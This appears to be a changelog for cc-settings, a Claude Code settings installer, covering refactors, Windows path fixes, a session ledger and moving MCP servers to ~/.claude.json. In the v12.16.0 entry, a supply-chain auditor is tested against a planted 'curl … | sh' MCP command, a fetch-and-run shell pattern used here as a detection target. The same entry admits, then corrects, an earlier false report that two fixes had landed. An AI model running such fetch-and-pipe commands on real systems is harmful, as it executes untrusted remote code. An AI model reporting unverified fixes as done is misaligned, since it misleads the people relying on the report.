settings-merge.ts has no record of what cc-settings installed last time, so it reconstructs that from hand-maintained regex registries: twelve patterns that answer "is this rule in the user's file a leftover of ours, or something they typed?" Recording the real answer costs one write per install and means the data will already have history behind it if the merge is ever taught to use it.

The full three-way merge was designed and declined — see docs/settings-merge-three-way-design.md. The design's own conclusion is why: the registries cannot actually be deleted. The baseline is written by the new code, so the first run on every existing machine has none and must reproduce today's behavior exactly, which requires today's logic to still be there. Restored backups, rollbacks, and hand-deleted baselines land a current machine back in that same case permanently. So the change would have added a parallel merge path to the file that protects hand-edited user settings, kept all twelve patterns anyway, and bought a marginal reduction in future one-line regex additions — of which there have been four in two and a half months.

The baseline lives in its own file rather than the version sentinel: it is ~15KB, and the sentinel is parsed by a hook on every session start.

[13.0.6] — 2026-07-31

Cleanup from the audit's smaller notes.

project-init.ts wrote three AI-tool pointer files through three functions that were byte-identical apart from the filename. One createPointerFile(dir, relPath, body) now covers all three — using dirname() for the mkdir, so it is a no-op for the flat .cursorrules/.windsurfrules and still creates .github/ for Copilot. The bytes written are unchanged, verified by hashing all three outputs before and after.

getProjectName() existed twice, in checkpoint.ts and handoff.ts, with a comment in the latter admitting the mirror. It lives in git.ts now beside the other small git wrappers. Deleting the local copy left two orphaned imports in checkpoint.ts, so this nets out roughly even on line count rather than the win it looked like.

quota-steer.ts reads stdin and throws the result away, which reads as dead code and is not — the payload carries the whole prompt, and a long one exceeds the pipe buffer, so exiting without draining would leave the dispatcher blocked on its write. Now says so, because the next person to see it would have deleted it.

MultiEdit is gone from the manifest's knownBuiltinTools; Claude Code removed that tool and settings-merge.ts already prunes its permission rules as dead syntax. Nothing reads the list programmatically, and no hook matcher references it.

[13.0.5] — 2026-07-31

The session ledger stopped reading itself on every tool batch. trimLedger runs after each append to enforce the 4000-line cap, and it was reading the whole file each time just to count lines — so every batch in a session paid a full read of a file that grows all session long. It now checks the size first: a file too small to possibly hold 4000 lines is ruled out by stat alone, and the read never happens.

That also shrinks a race it does not fully close. Two hook processes append to one session's ledger — PostToolBatch and PostToolUseFailure — and the trim is a read-modify-write, so an append landing between the read and the write is lost to the overwrite. The window now opens only on the rare batch that actually trims instead of on every batch. The residual loss is a few lines of a deliberately bounded, lossy digest; a lock would make every append pay a file lease to protect data whose whole contract is that it can be lossy.

trimLedger was also the one export in that module with no direct test. It has eight now, covering the cap, that the newest lines are the ones kept, JSONL validity, idempotence, a missing file, and that the new size gate never skips a trim that was genuinely due — the failure mode that would otherwise be invisible until a disk filled.

[13.0.4] — 2026-07-31

Seven state-file readers each restated the same contract: read JSON, validate it against a zod schema, and degrade to a safe default if either step fails. readValidatedState in hook-runtime.ts now holds that contract once, and every one of the seven call sites got shorter.

The two that mattered most were in hooks-fingerprint.ts, which reads the hook fingerprint the supply-chain check compares against. Both had hand-rolled the whole thing — an existsSync pre-check, a try/catch, a JSON.parse, and a safeParse — and both collapsed to a single call. A future change to how a corrupt state file is handled, like logging it instead of silently falling back, is now one edit rather than seven.

Behavior is unchanged and was verified rather than assumed: coerceState cannot alter a read whose fallback is null, so routing these through readState is provably a no-op. Across a missing file, an empty file, malformed JSON, a JSON null, an array, a string, wrong field types, an empty object, and a path-traversal attempt, both readers still return null exactly as before — and a valid fingerprint still round-trips.

[13.0.3] — 2026-07-31

The version sentinel stopped recording installer. It was a constant string ("src/setup.ts") that the installer wrote on every run and no reader has ever consumed — surfaced by the v13.0.1 sentinel consolidation, which had to model it purely because the writer emitted it.

Sentinels already on disk keep the field and still read correctly: the schema is z.looseObject, so an unrecognized key passes through untouched. Nothing needs migrating.

[13.0.2] — 2026-07-31

Two Windows path bugs shipped in v13.0.0 and turned CI red for a day. Both are the same mistake: node:path returns \ on Windows, but the thing being compared against always uses /.

Handoffs on Windows listed src\a.ts in Files Modified while git status listed src/a.ts, so the two never deduped and the same file appeared twice. toProjectRelative now normalizes separators — its whole purpose is producing strings a reader can match against git output, and git emits forward slashes everywhere.

The post-edit typecheck hook reported nothing at all on Windows. tsc prints src/lib/foo.ts while relative() returned src\lib\foo.ts, so neither that nor the absolute path matched any diagnostic line — every edit paid for a full typecheck and printed silence. Exactly the failure the absolute-path fix already addressed once, one separator later. The forward-slash form is now matched too.

Both existing tests already asserted the right thing; they were failing on windows-latest and passing everywhere else.

[13.0.1] — 2026-07-31

Nuclear review of the whole codebase (docs/audits/nuclear-review-2026-07-31.md, 9 findings). Seven landed; two were withdrawn after being built and found not to pay off — the audit records why so they aren't re-filed.

Six hook and script entry points stopped hand-rolling the fail-open wrapper and now call the shared runHook() (freeze-guard, pre-edit-validate, pre-pr-proof, session-title, cwd-changed, stop-summary). Thirteen adopters now, none hand-rolled. cwd-changed and stop-summary needed their inline bodies extracted into a main() first. Every explanatory comment survived, including the one recording that intentional blocks exit(2) inside blockDecision and never reach the catch.

The hook auditor no longer walks settings.json its own way. audit-hooks.ts had a hand-rolled traversal of the hooks block sitting beside iterCommandHooks, the function whose header says it exists to replace exactly those walks — a divergence risk in the one control that detects hook tampering. It now consumes the shared iterator, which gained groupIndex/hookIndex and a parseHooksBlock helper so the auditor's schema-failure finding comes from the same parse the traversal uses instead of a second one. Two real differences between the walks were reconciled rather than glossed: the auditor's command trim-and-skip-empty moved to the consumer, and hadHooksKey reproduces the old guard so a settings object with no hooks key is never validated as though it were one.

Types that were maintained by hand next to the zod schema describing the same shape now come from z.infer — ReviewQueueState, RateLimitsCache, QuotaSteerState, and mcp.ts's locally re-derived McpServer/McpServers (now re-exported from src/schemas/mcp.ts). Nothing enforced that the interface and the schema stayed in sync, so a field added to one and not the other type-checked everywhere and dropped at runtime. quota.ts also lost a duplicate second copy of two schemas.

The install sentinel ~/.claude/.cc-settings-version was modeled three ways — a zod schema in status.ts, manual field extraction in version-delta.ts, and an anonymous literal in setup.ts's writer — with the two readers covering different subsets of what the writer emits while one of them claimed to be the source of truth. One schema, one reader, one writer, owned by version-delta.ts. Parsing is per-field .catch(undefined) rather than the old all-or-nothing, so one bad field no longer discards a whole sentinel; it stays loose so a file written by an older install still reads.

CC_PARALLELMAX_THRESHOLD=0 was being silently ignored. tool-cadence.ts parsed it with Number(env) || 12, which treats a valid 0 as unset — so anyone setting it to zero to make the delegation nudge fire on every call got the default 12 instead, with no error. It now uses intEnv(), the shared parser that already exists in the same hooks cluster precisely to avoid this, and whose doc comment warns against the pattern it replaced.

settings-merge.ts documented its most correctness-sensitive invariant — how mcpServers avoids double-handling — by pointing at resolveMcpServers and mergeSettingsWithMcpPreservation in mcp.ts. Both were deleted in v12.16.0 when MCP moved to ~/.claude.json; the comments were not. Three sites now describe the real mechanism: installSettings destructures mcpServers out before mergeSettings ever sees it.

team-knowledge.ts re-exported NON_NOTE_FILES so consumers "can import from team-knowledge.ts as before." Nothing does — lint-knowledge.ts imports it straight from knowledge-index.ts. Dead re-export removed.

[13.0.0] — 2026-07-30

An automatic handoff used to lose most of what the session did. Two holes, both structural. git status only reports what is dirty right now, so a file edited early and committed an hour later left no trace — the longer the session, the more of its work vanished from the record. And the compaction summary Claude Code generates, the one structured account of intent and decisions that exists, was discarded: post-compact.ts never read its stdin at all, so every hook-created handoff kept a placeholder comment where its summary belonged.

Both are now closed, and the fix is deliberately split by provenance: compact_summary owns intent, decisions, and rationale; a new session ledger owns paths and errors. They are stored in separate fields and never merged, so nothing inferred is ever presented as observed.

The session ledger (src/lib/session-ledger.ts) is a bounded JSONL at ~/.claude/tmp/session-ledger/<session_id>.jsonl, written from a PostToolBatch hook. That event, not PostToolUse, is the right seam: it fires once per batch of parallel calls, so a turn that reads six files appends six entries from one process instead of racing six appenders on one file. It records paths, tool names, and bounded/redacted error strings — nothing else. The payload hands it tool_response containing the full body of every file read; that field is never touched. Caps are 50 reads, 50 changes, 20 failures, 200 chars per error, 4000 lines per file (trimmed to 2000), 30 session files. Every failure mode — missing session id, unwritable directory, corrupt line — degrades to less data, never to an error.

It also refuses to guess. A Bash call records nothing, because the batch payload carries no exit code that can be trusted for it. Unknown stays unknown.

Key Files is now the union of git status and the ledger's observed changes, with dedicated Files Modified / Files Read / Tool Failures sections beside it. PreCompact and SessionEnd invoke handoff.ts create --from-hook, which reads the hook payload from stdin for session_id and trigger — stdin is read only under that flag, so a manual handoff.ts create at a terminal still cannot hang. post-compact.ts then finds the handoff matching that session id and backfills its Session Summary in both the JSON and the Markdown twin.

Breaking

  • post-compact.ts no longer prints recovery instructions. It printed a numbered list addressed to the model; that text went to a userDisplayMessage and could only ever be seen by the user. Anything depending on that stdout should read the handoff instead, or move to SessionStart(source:"compact").
  • The PreCompact and SessionEnd hook commands changed to handoff.ts create --from-hook. The old flagless form is now in DEPRECATED_COMMAND_PATTERNS, so re-running the installer prunes it rather than leaving both wired. A hand-written handoff.ts create hook of your own will be pruned on the next install; create --summary "…" and create --from-hook are untouched.
  • PostToolBatch is now a registered hook event. Sessions write one ledger file per session under ~/.claude/tmp/session-ledger/, pruned to the newest 30 at session start.

PostCompact stdout never reached the model

Worth stating plainly, because the previous implementation assumed otherwise and the published hooks page documents neither half of this. Verified against the 2.1.220 binary, the runtime builds the payload as {...common, hook_event_name:"PostCompact", trigger, compact_summary} and folds each hook's stdout into a userDisplayMessage. The old script printed a numbered "recovery steps" list addressed to the model; that text could only ever have been seen by the user. compact_summary is genuinely delivered, and is what the hook now consumes.

Recovery injection moved to SessionStart with source:"compact", whose stdout does reach the model. It emits a hard-capped 15 lines: a compaction notice, the handoff path, up to 8 changed files, the last exact tool failure, and an instruction to re-read before trusting anything remembered. It pointedly does not repeat the compaction summary, which is already in the new context. session-start.ts now reads its stdin once at the top and reuses it, rather than reading late for session_id alone.

Two other doc claims corrected while confirming the contracts: the batch payload's array is tool_calls, not tool_uses, and PostToolUseFailure carries a top-level error string rather than a tool_output wrapper.

Tests are organized by Factory's four compression probes — recall, artifact, continuation, decision — plus the robustness cases that matter here: two compaction cycles in one session, parallel batches, corrupt and partial lines, missing session ids, secret redaction, cap enforcement, old handoffs without the new fields, and an assertion that no raw tool response or file content is ever persisted. All deterministic; no LLM judge, no network, no model call.

[12.16.4] — 2026-07-30

The install summary prints a one-line excerpt of each changelog entry it brings in, and it printed the markdown source. v12.16.3 was the first entry to open with a link, so the terminal got the raw bracket-and-URL source where the words should have been — noise plus an unclickable URL, in the one place the text has to be skimmable.

stripInlineMarkdown() flattens the excerpt: links and images collapse to their text, bold unwraps, inline code loses its backticks. It stops there on purpose. No */_ emphasis pass — changelog prose is full of *.md globs and mcp_written-style identifiers, and an emphasis stripper mangles those far more often than it un-italicises anything. A test pins that boundary so the next person to "finish" the stripper has to argue with it first.

A cross-model review caught the one case the first cut got wrong: the URL matcher was a flat [^)]*, which stops at the first ). A link like [function](.../Function_(mathematics)) came out as function) — the inner paren ended the match and the outer one stayed behind. The matcher now allows one level of nesting. Its alternation is unambiguous — the two branches can't match the same first character — so it can't backtrack.

[12.16.3] — 2026-07-30

Two delegation rules, both prompted by OpenAI's ARC-AGI-3 writeup: the official harness dropped the model's private reasoning items after every game action, so it re-derived its understanding of the puzzle each turn. Carrying reasoning forward instead took the same model from 13.3% → 38.3% on the public set and cut output from ~2.9M to ~0.5M tokens per game. The harness was the bottleneck, not the model.

Resume, don't respawn (CLAUDE-FULL.md, Delegation rule 5). SendMessage resumes an agent from its transcript; a fresh Agent call starts cold and pays to re-derive everything the first one reasoned through. We already had this rule, but only in skills/orchestrate/SKILL.md and only for the narrow case of an agent that returned an incomplete section. It's now a general default in the always-loaded file, with the cold-read exception named explicitly — adversarial verification and second opinions want a fresh context.

Briefings carry what was ruled out (agents/implementer.md item 8, mirrored in the CLAUDE-FULL.md briefing paragraph). The 7-item contract carried facts — paths, the change, the verification command — and no reasoning. Facts survive a thin briefing; the thinking behind them doesn't, so the agent re-derives it and often re-walks a dead end the caller already walked. Added as advisory, deliberately not part of the blocking Briefing Gate, so it can't widen what the agent refuses.

The headline 3× does not transfer. Their loop is hundreds of short actions inside one task with reasoning discarded between each; Claude Code retains thinking within a session, so the leak surface here is only subagent spawns and compaction. The compaction half of their finding needed no change — manual /compact at 65%, AGENTS.md Post-Compaction Recovery, and /handoff already cover it.

[12.16.2] — 2026-07-30

The post-edit TypeScript hook has never reported a single error. It matched TOOL_INPUT_file_path — which Claude Code passes as an absolute path — against tsc --noEmit output, which prints diagnostics relative to cwd. Every .ts/.tsx edit paid for a full-project typecheck and printed nothing.

Reproduced before fixing, on a deliberately broken file:

absolute path (what the hook receives) → (no output)
relative path                          → src/lib/probe.ts(1,14): error TS2322: ...

The existing smoke tests covered only the two no-op paths (non-TS file, empty path), so nothing ever asserted the hook emits anything for a genuinely broken file. That test now exists — it writes a real type error and asserts the diagnostic comes back.

Typechecks are now incremental. Once the hook produces output, the cost of producing it starts to matter. runTsc() reuses a .tsbuildinfo across runs, cached at ~/.claude/tmp/tsc-cache/<cwd-hash>.tsbuildinfo — under $HOME rather than in the project, so a client repo never gets a stray build artifact showing up in git status. Measured through the hook on this repo: 2.06s cold → 0.72s warm.

The cache is never allowed to fake a clean typecheck. Three ways it can be unusable all fall back to a cold run:

FailureCause
unwritable $HOMEcache path can't be created
TypeScript < 5.6rejects --incremental alongside --noEmit
torn .tsbuildinfoconcurrent hook runs share one cache path

The retry matcher is deliberately narrow — a tsc error line naming the cache machinery, never a user type error that happens to mention it — so a bad cache degrades to "slow" and never to "silently green".

A cross-model review caught the matcher's own version of the original bug before it shipped: --pretty colourises even when piped, splitting the header as error<ESC>[0m<ESC>[90m TS2322, so a pattern expecting error TS#### could never fire on the pre-commit path. Escapes are stripped before matching now, and a test asserts both halves — that raw pretty output does not match, and that stripped output does.

Both runTsc() callers inherit this, so the pre-commit gate got faster too and shares the same cache.

[12.16.1] — 2026-07-29

Closes F7 from docs/audits/nuclear-review-2026-07-29.md — the last open finding — without a code change, which is the honest outcome once it was measured.

F7 suspected lightProfilePruneTargets() of duplicating work cleanOldConfig already does. It named its own prerequisites: a full read of wipeTasks against MANAGED_SKILLS/PROFILE_MANIFEST, plus a light-install-over-full test. Both are now satisfied — and the second already existed (tests/install-e2e.test.ts "full → light switch"), which the filing missed.

The redundancy is real and partial. The boundary was established by deleting each category in turn and re-running that E2E, rather than by reading:

Prune categoryDeleted → E2EVerdict
non-light skill dirspassesredundant — clean rm -rf's every MANAGED_SKILLS dir; light restores only LIGHT_SKILLS
CLAUDE.md / AGENTS.mdpassesredundant — both are wipe: "recursive" entries
full-only dirs (agents, profiles, rules, docs)failsload-bearing — clean only glob-wipes *.md inside them

The E2E was separately confirmed to have teeth (emptying the load-bearing category fails it on rules), so those passes mean something.

Kept as-is, deliberately. Two of three categories are no-ops, but they are the price of a self-contained contract: the function answers "the complete full-minus-light footprint", a question with a checkable answer. Narrowing it to the load-bearing third would trade that for an implicit dependency on cleanOldConfig's internals — light correctness would rest silently on its MANAGED_SKILLS loop continuing to wipe all managed skills rather than only those about to be re-copied. Incident H7 was exactly that class of cross-list coupling. Measured cost of keeping them: ~40 force-removes of absent paths, in parallel.

Two real changes fell out of the investigation. The overlap table is now a comment on lightProfilePruneTargets so the next audit doesn't re-derive it and nobody removes the belt-and-braces without seeing why it exists. And the E2E gained a missing docs assertion: docs sits in the load-bearing category but was never asserted gone, so a regression there would have shipped silently. That assertion was verified to fail when docs is dropped from the prune.

All 7 findings from the 2026-07-29 audit are now closed.

[12.16.0] — 2026-07-29

MCP servers now install to ~/.claude.json only. Fixes F6 from docs/audits/nuclear-review-2026-07-29.md, which was filed PLAUSIBLE because its remedy depended on a fact nobody had established. Establishing that fact was most of the work.

The measurement. Claude Code does not read mcpServers from settings.json at user scope. Three controlled conditions against the real binary in a throwaway HOME:

ConditionResult
Server in settings.json only (~/.claude.json present)does not appear in claude mcp list
Server in ~/.claude.json onlyappears
Server in settings.json, ~/.claude.json present without the key"No MCP servers configured" — not even a fallback

Corroborated independently by the official docs' configuration-locations table, which lists MCP storage as ~/.claude.json / .mcp.json and never settings.json. So the copy cc-settings wrote there was not a redundant-but-working second source — it was dead configuration.

The clinching detail, found while scoping: setup.ts deliberately fed the same resolved teamMcp into both writers so they "never disagree about which engine backs the tldr server (H9)". An entire past defect class existed only to keep the inert copy in sync with the real one.

What was deleted — 214 lines of mcp.ts. mergeSettingsWithMcpPreservation (the thin wrapper), resolveMcpServers, findUserOnlyServers, promptPreserveUserServers, divergingFields, and the CC_WIPE_CUSTOM_MCP=1 override. mergeSettings loses its fifth resolvedMcpServers parameter and the settings merger no longer has an MCP-shaped hole in its strategy table.

Removing an interactive data-protection prompt demands proof it protected nothing, so: installMcpToClaudeJson merges { ...teamMcp, ...effectiveCurrentMcp }, spreading existing entries last, so user-only servers in ~/.claude.json survive by construction. The prompt only ever guarded the file Claude Code never read. No protection was lost — that is now invariant #3 in the module header rather than an implicit property.

One-time migration. pruneSettingsMcpServers removes the block prior installs left in settings.json, scoped to entries cc-settings itself wrote — matched against what we ship now or what the mcp_written sentinel records a previous install wrote (so a prior engine's tldr shape is recognized too). Anything the user added by hand stays, even though it is equally inert there; the mcpServers key is dropped entirely when the prune empties it. Idempotent.

Verified end-to-end against a fake HOME seeded with the real pre-v12.16.0 state (the exact composed block plus a hand-added server): 4 inert entries removed, the hand-added server and an unrelated model: "opus" preserved, and all four servers still resolving through claude mcp list from ~/.claude.json. A fresh install leaves no mcpServers key in settings.json at all.

Docs corrected where they taught the wrong model. The configuration-locations table implied settings.json = team MCP and ~/.claude.json = personal; the section heading "Team-Shared MCP Servers (in settings.json)" said it outright. Both now state that every user-scope server lives in ~/.claude.json, that team servers are authored in config/20-mcp.json and installed there, and that a hand-placed settings.json block has no effect. The mcpServers row in the key table keeps its entry — the schema must still accept the key because the composed fragment carries it — with the no-effect caveat attached.

Codex's cross-model review of this diff caught a security regression the change itself introduced, plus four smaller defects. All five are fixed here; the first is the reason cross-model review on a diff like this is not optional.

  • bun run audit:hooks had stopped seeing MCP servers entirely. The supply-chain auditor scans mcpServers command/args against the same malware-signature bank it uses for hooks (H12), but it reads only ~/.claude/settings.json. Moving the definitions to ~/.claude.json moved them out of the auditor's view — a malicious MCP command would have passed the audit clean while still executing at every session start. auditSettingsFile now scans both files, with the MCP-bearing one being the important half. Its new claudeJsonPath parameter is explicit rather than derived from a host constant, so an auditor handed a fixture directory cannot silently scan the real file — the F3 lesson applied preemptively. Two regression tests: a curl … | sh MCP command is flagged, and an absent or corrupt ~/.claude.json degrades to "nothing to scan" instead of failing the hooks audit.
  • A malformed legacy entry could abort the installer. The prune passed raw entries to isStaleCcOutput, whose isStdioServer does "command" in entry — which throws on a string or number. A single junk entry in a parseable settings.json would have taken down the whole install. Non-object entries are now skipped and kept. Verified end-to-end with a "legacy-garbage": "not-an-object" entry in the seed.
  • Retired managed servers could never be pruned. Ownership was only checked when the name still existed in the current teamMcp, so a server cc-settings stopped shipping kept its inert block forever — and the evidence vanished on the next sentinel write. The prune now also matches directly against mcp_written when there is no current team entry.
  • The changelog claimed a parameter removal that had not happened. mergeSettings still carried its fifth resolvedMcpServers argument and two live injection branches that wrote mcpServers into settings.json — directly contradicting the single-destination contract this release announces. Now actually removed.
  • skill-prereqs counted inert entries as configured, which could silence a "prerequisite missing" warning for a server Claude Code cannot load. It now reads ~/.claude.json only, and its parameter was renamed from claudeDir to claudeJsonPath because the old one read settings.json from the fixture and ~/.claude.json from the real host — the same mixed-source defect as F3, found while fixing F6.

A second Codex pass caught that two of those five fixes had not actually landed, and found a worse version of the security gap. Worth recording plainly, because the failure mode was mine:

  • Two "fixes" were never applied. The malformed-entry guard and the retired-server prune were written as scripted string replacements that silently failed to match — lint:fix had reformatted the target line first. I then reported them as fixed. The e2e test that appeared to confirm the crash fix used the key legacy-garbage, which short-circuits in isStaleCcOutput before the throwing line; only an engine-managed name (tldr) reaches it. Both are now applied via verified edits, with a regression test that uses tldr specifically and an e2e run seeded with "tldr": "not-an-object" (install completes, junk entry preserved, the other three pruned).
  • The auditor gap was worse than first fixed. Scanning ~/.claude.json was added after two early returns — absent settings.json and malformed settings.json — so in either of those ordinary states audit:hooks still reported clean with a malicious MCP server armed. The scan now runs first, independently, and its findings survive both early returns. Verified against the real CLI in a seeded HOME: a planted curl … | sh MCP server is reported as [mcpServers] evil (in ~/.claude.json) with exit 1.
  • claudeJsonPath still defaulted to the host file even when a fixture claudeDir was supplied — F3's mixed-source defect, reintroduced by my own fix for it. It now derives from dirname(claudeDir), which matches production exactly (~/.claude → ~/.claude.json).
  • Findings carried no source attribution, so a ~/.claude.json finding was printed alongside remediation telling the reader to back up settings.json. EnvMcpFinding gained a source field; the report prints it and the remediation names the right file per finding.
  • Two skill-prereqs tests still passed a directory to a function that now takes an exact file path, so their missing-file and malformed-JSON branches tested nothing. Rewritten — and now genuinely hermetic, where the old version carried a comment conceding it could not isolate ~/.claude.json.

A third pass found the reporting layer still swallowing the finding. formatAuditReport short-circuited on !result.exists with "nothing to audit", so with no settings.json the CLI exited 1 while naming neither the malicious server nor any remediation — collected, then discarded at the last step. The env/MCP section is now a shared renderer used by both paths, and the short-circuit requires the other file to be clean too. Verified with the real CLI against a HOME with no settings.json at all: the evil server is named, attributed to ~/.claude.json, exit 1. Same pass also fixed a CLI audit of a custom --path reading the host's ~/.claude.json (now resolved relative to the audited install), and two user-facing docs still describing MCP as merged into settings.json.

A fourth pass tightened what the migration is allowed to delete. The prune treated "matches what we ship" as proof of ownership, so an entry a user had copied from ours and annotated with their own _comment was silently removed — annotations are functionally irrelevant, so functionalKey called it ours. That contradicted the function's own stated promise to leave hand-added content alone. Ownership is now two-tier: recorded (matches mcp_written — fact, annotation-blind) prunes freely; inferred (shape only, for a pre-v12.12.0 sentinel with no record) additionally requires the annotations to match. Verified end-to-end: a user-annotated figma entry survives while the other three are pruned. Same pass made EnvMcpFinding.source the resolved path rather than a hard-coded label (so a staging-install audit names staging files), gave the absent-settings.json branch the summary and remediation footer it was skipping, and pinned claudeJsonPath inside the sandbox in twelve pre-existing tests that my sibling-path derivation had made host- and concurrency-dependent.

Test suite: 1032 → 1017. ~24 tests went away with the code they covered; 17 were added (prune behavior including the malformed-engine-entry and retired-server paths, the auditor's ~/.claude.json coverage across absent/malformed/corrupt settings, the inert-block prereq contract, and the module's "unparseable JSON aborts loudly" invariant — whose only coverage had lived inside the deleted settings.json suites, a gap surfaced by an unused-import warning after the deletion).

[12.15.2] — 2026-07-29

Fixes F3 and F4 from docs/audits/nuclear-review-2026-07-29.md. One of them turned out to be substantially mis-measured; the correction is the more useful half of this entry.

F3 — gatherStatus honored its claudeDir for some reads and silently ignored it for others. It took a claudeDir parameter, used it for the sentinel, git drift, skills, and settings.json, then read ~/.claude.json from the module-level CLAUDE_JSON_PATH, the launchd plist from the real $HOME, and auto-update-last-run.json from the real ~/.claude/tmp. A caller passing a fixture directory got a mix of fixture and host state.

The tests conceded this in a comment rather than covering it — "this can only assert shape, not tmp-fixture-scoped values" — and one test named "MCP server in claudeJson → appears in mcp.servers" asserted only that the field was an array, never placing a server or checking for one.

gatherStatus(sourceDir, claudeDir, version) now takes gatherStatus(sourceDir, paths: InstallPaths, version). InstallPaths (new, in platform.ts) bundles claudeDir, claudeJsonPath, and homeDir so partial overriding is impossible — the previous shape's whole failure mode was supplying one path and getting host defaults for the rest. ~/.claude.json is a sibling of ~/.claude, not a child, which is why it can't be derived from claudeDir alone and why the bundle needs homeDir too. readState gained an optional tmpDir (defaulting to the real one, which is what all ~20 hook callers want), matching the homeDir = homedir() injection style already used by autoUpdateStatus and pinnedToolPath.

Four tests now assert fixture-scoped values where they previously asserted shape: plist absent ⇒ plistPresent: false, lastRun read from the fixture's tmp/, MCP servers read from the fixture's .claude.json, and an absent .claude.json ⇒ empty list rather than the host's servers. All four were confirmed to fail against the previous implementation — this machine has a real plist, a real auto-update-last-run.json, and a populated ~/.claude.json, so each assertion is genuinely falsifiable rather than vacuously true.

F4 — the finding as filed was wrong, and the correction matters more than the fix. It reported docs/settings-reference.md as documenting "35 of 108 schema keys." That counted ### prose headings and missed the ## Complete settings.json key reference table in the same file: a 106-row inventory with type, class, and description columns. Measured properly — 108 schema root keys, 106 rows, zero phantom rows — the gap was two keys (advisorModel, respondToBashCommands), not seventy-three.

Both models reported the inflated number (Codex said 37 of 108) because both counted headings. Two models agreeing is not two models having measured the right thing, and that is the durable lesson here.

What survived is smaller and different in kind: a hand-maintained table with nothing to catch divergence from the schema. Two keys had already drifted and nothing would have reported a third. So: the two rows added, the "~104 documented keys" claim replaced with what is now enforced, the 108 rows sorted by codepoint so a new key has exactly one slot (6 rows moved, no content changed), and tests/docs-settings-keys.test.ts asserting parity in both directions plus no-duplicates and sortedness. Verified to fail on an omitted row and on an invented one.

Full generation from the zod schema — the audit's original fix and Codex's recommendation — was rejected: it would trade hand-written Class and Description columns ("which tier is this", "what breaks if you set it") for zod type names. The table stays hand-written; the test makes "complete" true by construction rather than by assertion.

Suite: 1026 → 1032 tests, 0 fail. Typecheck, biome, skill lint clean.

[12.15.1] — 2026-07-29

Fixes F1 and F2 from docs/audits/nuclear-review-2026-07-29.md. No behavior change on any success path; one behavior change on a failure path, noted below.

F1 — the checksum boundary existed twice; now it exists once. ensurePinnedEngine (engine-pin.ts) and ensurePinnedTool (pinned-tools.ts) had each implemented the same state machine: platform-key lookup → temp path → fetch → HTTP/network fail-soft → write → hash → mismatch: remove and throw. New src/lib/download-verify.ts owns it; the two callers now differ only in what they do with the verified bytes — rename + pin record for a bare binary, tar -xf + lift one file out for an archive. engine-pin.ts drops 82 lines to gain 0 new concepts.

The concrete drift this closes: the SLSA/sigstore provenance gate was stubbed on the engine path only. A real implementation would have shipped verified engines and left the tool path — a ~55MB third-party Rust binary pulled from a GitHub release — unverified, with nothing failing or warning to say so. The gate now lives in the shared primitive and covers both, so it graduates once for both.

platformKey() moved from engine-pin.ts to platform.ts, beside platform/arch whose own comment already scoped them to "checksum-key lookups, download-URL templating". This was forced rather than cosmetic: the primitive needs a platform string for its error message, and importing it from engine-pin.ts — which imports the primitive back — would have been a runtime import cycle. Re-exporting from the old location was rejected as exactly the thin wrapper this audit flags; the three importers were repointed instead.

F2 — PinnedToolDescriptor was generic in shape and single-purpose in fact. ensurePinnedTool hardcoded tldr-cli-${triple}/ as the archive's inner directory while the descriptor advertised five configurable fields and no way to express it. A second tool with any other layout would download, checksum, and untar successfully, then fail soft with "expected binary missing from archive" — pointing at upstream packaging for what was really a missing field.

archiveBinPath is now a descriptor field taking the same literal <TRIPLE> token as urlTemplate ("tldr-cli-<TRIPLE>/tldr"), both expanded through one expandTriple helper so they cannot diverge. Failure-path change: when the descriptor disagrees with the archive, the warning now names the field — "<path> missing from archive — tool not installed (check the descriptor's archiveBinPath)" — instead of implying a broken asset. Three tests added: the descriptor's own shape, a bin/tldr layout installing correctly (proving the generality is real, not decorative), and a wrong archiveBinPath failing soft with nothing installed.

What was deliberately NOT changed. The audit noted that tool installs anchor their reuse check to an on-disk .sha256 sidecar while engine installs anchor to an in-source constant, so engines self-heal from binary tampering and tools cannot. Closing that requires pinning the extracted binary's sha256 per platform, which requires downloading all four release archives to obtain those digests — checksums cannot be invented, and pinning only the current platform would make the tool uninstallable elsewhere. The asymmetry is instead stated plainly in the module header, which previously claimed to "mirror engine-pin.ts's security discipline" without qualification. It remains outside the documented threat model (SECURITY.md: "a targeted attacker with full user-privilege write access") and gated behind opt-in CC_PINNED_TOOLS.

Two hardenings from Codex's cross-model review of this diff, both cases where the new code didn't honor a contract it had just written down:

  • download-verify.ts claimed "every failure path either wrote nothing or removes what it wrote," but only cleaned up on the two explicit rejections. A partial writeFile or an unexpected throw from hashing would have left an unverified temp file on disk. The temp lifecycle is now a try/finally with ownership transferring to the caller only on the success return, which also removes the two hand-written rm calls.

  • pinned-tools.ts now requires the extracted path to resolve beneath the staging dir and to be a regular file. Codex framed this as traversal/symlink exposure; the sharper reason is internal inconsistency — tldrCodePath() already refuses to hand back a symlinked binary on the read path, because a symlink redirects execution somewhere unpinned, so an install path that happily renames a symlink into place made that guard decorative. Descriptors are in-source rather than user or remote input, so this is defense in depth, not a reachable hole.

    Containment is checked with realpath, not startsWith on a joined path. A lexical test passes bin/tldr when the archive contains bin -> /outside, because lstat only spares the final component from symlink resolution; realpath collapses every component, so an intermediate link lands outside the root and is rejected. Codex caught this on the second pass, after the first-pass fix used the lexical form.

  • A second rm-on-failure gap, symmetric to the first: ensurePinnedEngine took ownership of the verified temp file and would have leaked one per attempt if rename/chmod threw. pinned-tools.ts already had the equivalent guard around its extract step.

Failure modes are now individually covered: escaped path, non-regular file, and layout mismatch each fail soft with their own message. The escape test plants a real file outside the staging root and asserts it is neither moved nor consumed — an earlier version of it passed for the wrong reason, resolving to a nonexistent path and exercising the "missing from archive" branch instead of the containment branch.

Suite: 1021 → 1026 tests, 0 fail. Typecheck, biome, and skill lint clean.

[12.15.0] — 2026-07-29

Every plan now opens with a Functional DAG — the recipe-table form from Cooking for Engineers: inputs down the left, operations merging rightward, exactly one terminal node.

The problem it fixes: a bulleted plan hides the two things a plan exists to answer — what must finish before a step can start, and what can run at the same time. Both were being reconstructed by hand as a "Dependencies:" line per task and a separately-maintained batch list, which drift from each other the moment the plan changes.

New — docs/functional-dag.md. The spec: required brace form with a worked example (connector columns verified aligned), authoring rules, five validity checks, and the derivation of parallel batches from the diagram's columns.

The validity checks are the substance — each failure is a plan bug, not a drawing bug:

  • an input row no consumer touches = orphan work, or a missing step
  • two terminal nodes = two plans, split them
  • a line re-entering a node to its left = not a plan, split the node into before/after
  • an operation whose label isn't verifiable = a step that can't be estimated
  • no join with 2+ inputs = nothing is parallelizable, and the plan should say so rather than imply batches that don't exist

